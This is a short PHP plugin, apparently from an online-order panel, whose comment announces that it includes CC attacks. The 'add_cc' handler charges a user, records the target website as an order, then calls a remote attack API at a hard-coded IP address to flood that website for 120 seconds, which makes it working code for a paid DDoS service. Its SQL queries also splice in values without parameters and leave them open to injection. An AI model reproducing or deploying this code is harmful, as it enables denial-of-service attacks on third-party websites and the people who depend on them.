<?php
//本插件包括CC攻击
switch ($act) {
    case 'add_cc':
	    $website=daddslashes($_POST['website']);
	    $clientip=real_ip();
	    //价格计算↓
	    	$danjia=1;
	    	$money=count($data)*$danjia;
	    	//判断价格
	    	if($userrow['money']<$money){
	        	exit('{"code":-1,"msg":"余额不足"}');
	        	}else{
       	      	$is=$DB->query("insert into qingka_wangke_order (uid,kcname,fees,status,miaoshua,addtime,ip,dockstatus) values ('{$userrow['uid']}','$website','{$danjia}','已自动执行','$miaoshua','$date','$clientip','99') ");//将对应课程写入数据库
                if($is){
                  $DB->query("update qingka_wangke_user set money=money-'{$danjia}' where uid='{$userrow['uid']}' limit 1 "); 
                  wlog($userrow['uid'],"添加任务","  {$rs['name']} {$user} {$website} 扣除{$danjia}元！",-$danjia);
                  $result = get_url("http://213.170.133.114/c/?key=520&host={$website}&port=80&time=120&method=cc");
                  jsonReturn(1,$result);
                }else{
                $result = ["code" => -1, "msg" => "6666" ];
                exit(json_encode($result));
	       	    }
	    } 
    break;
}